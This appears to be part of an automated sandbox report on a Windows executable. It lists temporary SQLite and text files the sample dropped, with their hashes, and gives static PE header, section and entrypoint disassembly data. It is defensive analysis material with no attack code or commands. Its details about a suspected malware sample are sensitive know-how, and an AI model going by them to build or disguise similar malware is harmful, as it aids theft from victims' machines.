                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp7D6A.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp7D6B.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp9AE7.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp9B17.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp9B18.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmp9B19.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                        Entropy (8bit):1.1874185457069584
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
                                                                                                                                                                                        MD5:72A43D390E478BA9664F03951692D109
                                                                                                                                                                                        SHA1:482FE43725D7A1614F6E24429E455CD0A920DF7C
                                                                                                                                                                                        SHA-256:593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
                                                                                                                                                                                        SHA-512:FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmpC33F.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):1026
                                                                                                                                                                                        Entropy (8bit):4.6969712158039245
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
                                                                                                                                                                                        MD5:31CD00400A977C512B9F1AF51F2A5F90
                                                                                                                                                                                        SHA1:3A6B9ED88BD73091D5685A51CB4C8870315C4A81
                                                                                                                                                                                        SHA-256:E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
                                                                                                                                                                                        SHA-512:0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmpC340.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):1026
                                                                                                                                                                                        Entropy (8bit):4.69422273140364
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                                        MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                                        SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                                        SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                                        SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmpC370.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):1026
                                                                                                                                                                                        Entropy (8bit):4.6969712158039245
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
                                                                                                                                                                                        MD5:31CD00400A977C512B9F1AF51F2A5F90
                                                                                                                                                                                        SHA1:3A6B9ED88BD73091D5685A51CB4C8870315C4A81
                                                                                                                                                                                        SHA-256:E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
                                                                                                                                                                                        SHA-512:0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE
                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\tmpC371.tmp
                                                                                                                                                                                        Process:C:\Users\user\Desktop\WXekVwRNtG.exe
                                                                                                                                                                                        File Type:ASCII text, with very long lines, with CRLF line terminators
                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                        Size (bytes):1026
                                                                                                                                                                                        Entropy (8bit):4.69422273140364
                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                        SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                                        MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                                        SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                                        SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                                        SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                        Preview: SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                                        Static File Info

                                                                                                                                                                                        General

                                                                                                                                                                                        File type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                        Entropy (8bit):7.201715742815139
                                                                                                                                                                                        TrID:
                                                                                                                                                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                        File name:WXekVwRNtG.exe
                                                                                                                                                                                        File size:326656
                                                                                                                                                                                        MD5:04b456ff36412c84821b0e945c24bc71
                                                                                                                                                                                        SHA1:640aec31c2ac988d7bc2ba39accd1399d68c7e48
                                                                                                                                                                                        SHA256:a7e4f1da0530887fb3c60141d8263cc9c92474067f9f8c6b9b65633a72bd87ce
                                                                                                                                                                                        SHA512:44099256bdfb87662b5eb13b9d7de9ca09565d6c162d6a9cf6cf90fdf32c75f60cb32149fba17778e592f7b4211eeb5cf604299b28c9f6b1f9196f2e6d6a3048
                                                                                                                                                                                        SSDEEP:6144:wNZQtZa/fEK5uuWyF9L12P0TKIbywJLSjyYWf67fDwdfMP9UGLL8:qZb/fEK5uzIL12sWImzjyYWy7fyUPWK
                                                                                                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..u(..&(..&(..&6.~&9..&6.h&F..&6.o&...&.o.&-..&(..&...&6.a&)..&6..&)..&6.z&)..&Rich(..&........PE..L......_...................

                                                                                                                                                                                        File Icon

                                                                                                                                                                                        Icon Hash:aedaae9ec6a68aa4

                                                                                                                                                                                        Static PE Info

                                                                                                                                                                                        General

                                                                                                                                                                                        Entrypoint:0x401fd0
                                                                                                                                                                                        Entrypoint Section:.text
                                                                                                                                                                                        Digitally signed:false
                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                        Subsystem:windows cui
                                                                                                                                                                                        Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                                                                                                                                                                        DLL Characteristics:TERMINAL_SERVER_AWARE, NX_COMPAT
                                                                                                                                                                                        Time Stamp:0x5FBCAC8C [Tue Nov 24 06:47:40 2020 UTC]
                                                                                                                                                                                        TLS Callbacks:
                                                                                                                                                                                        CLR (.Net) Version:
                                                                                                                                                                                        OS Version Major:5
                                                                                                                                                                                        OS Version Minor:0
                                                                                                                                                                                        File Version Major:5
                                                                                                                                                                                        File Version Minor:0
                                                                                                                                                                                        Subsystem Version Major:5
                                                                                                                                                                                        Subsystem Version Minor:0
                                                                                                                                                                                        Import Hash:2d3e8f1de619588f819136537821e72a

                                                                                                                                                                                        Entrypoint Preview

                                                                                                                                                                                        Instruction
                                                                                                                                                                                        mov edi, edi
                                                                                                                                                                                        push ebp
                                                                                                                                                                                        mov ebp, esp
                                                                                                                                                                                        call 00007F54C88FDFDBh
                                                                                                                                                                                        call 00007F54C88F6676h
                                                                                                                                                                                        pop ebp
                                                                                                                                                                                        ret
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        int3
                                                                                                                                                                                        mov edi, edi
                                                                                                                                                                                        push ebp
                                                                                                                                                                                        mov ebp, esp
                                                                                                                                                                                        push FFFFFFFEh
                                                                                                                                                                                        push 00424860h
                                                                                                                                                                                        push 00405800h
                                                                                                                                                                                        mov eax, dword ptr fs:[00000000h]
                                                                                                                                                                                        push eax
                                                                                                                                                                                        add esp, FFFFFF94h
                                                                                                                                                                                        push ebx
                                                                                                                                                                                        push esi
                                                                                                                                                                                        push edi
                                                                                                                                                                                        mov eax, dword ptr [004261B0h]
                                                                                                                                                                                        xor dword ptr [ebp-08h], eax
                                                                                                                                                                                        xor eax, ebp
                                                                                                                                                                                        push eax
                                                                                                                                                                                        lea eax, dword ptr [ebp-10h]
                                                                                                                                                                                        mov dword ptr fs:[00000000h], eax
                                                                                                                                                                                        mov dword ptr [ebp-18h], esp
                                                                                                                                                                                        mov dword ptr [ebp-70h], 00000000h
                                                                                                                                                                                        mov dword ptr [ebp-04h], 00000000h
                                                                                                                                                                                        lea eax, dword ptr [ebp-60h]
                                                                                                                                                                                        push eax
                                                                                                                                                                                        call dword ptr [0041D074h]
                                                                                                                                                                                        mov dword ptr [ebp-04h], FFFFFFFEh
                                                                                                                                                                                        jmp 00007F54C88F6688h
                                                                                                                                                                                        mov eax, 00000001h
                                                                                                                                                                                        ret
                                                                                                                                                                                        mov esp, dword ptr [ebp-18h]
                                                                                                                                                                                        mov dword ptr [ebp-78h], 000000FFh
                                                                                                                                                                                        mov dword ptr [ebp-04h], FFFFFFFEh
                                                                                                                                                                                        mov eax, dword ptr [ebp-78h]
                                                                                                                                                                                        jmp 00007F54C88F67B8h
                                                                                                                                                                                        mov dword ptr [ebp-04h], FFFFFFFEh
                                                                                                                                                                                        call 00007F54C88F67F4h
                                                                                                                                                                                        mov dword ptr [ebp-6Ch], eax
                                                                                                                                                                                        push 00000001h
                                                                                                                                                                                        call 00007F54C88FF09Ah
                                                                                                                                                                                        add esp, 04h
                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                        jne 00007F54C88F666Ch
                                                                                                                                                                                        push 0000001Ch
                                                                                                                                                                                        call 00007F54C88F67ACh
                                                                                                                                                                                        add esp, 04h
                                                                                                                                                                                        call 00007F54C88FB104h
                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                        jne 00007F54C88F666Ch
                                                                                                                                                                                        push 00000010h

                                                                                                                                                                                        Rich Headers

                                                                                                                                                                                        Programming Language:
                                                                                                                                                                                        • [ C ] VS2008 build 21022
                                                                                                                                                                                        • [LNK] VS2008 build 21022
                                                                                                                                                                                        • [ASM] VS2008 build 21022
                                                                                                                                                                                        • [IMP] VS2005 build 50727
                                                                                                                                                                                        • [RES] VS2008 build 21022
                                                                                                                                                                                        • [C++] VS2008 build 21022

                                                                                                                                                                                        Data Directories

                                                                                                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x24f400x3c.rdata
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x580000x38b8.rsrc
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x5c0000x18cc.reloc
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x1d2400x1c.rdata
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x245c00x40.rdata
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x1d0000x1ec.rdata
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                        Sections

                                                                                                                                                                                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                        .text0x10000x1be400x1c000False0.462602887835data6.28761952965IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                        .rdata0x1d0000x8a6e0x8c00False0.307310267857data4.74858051119IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
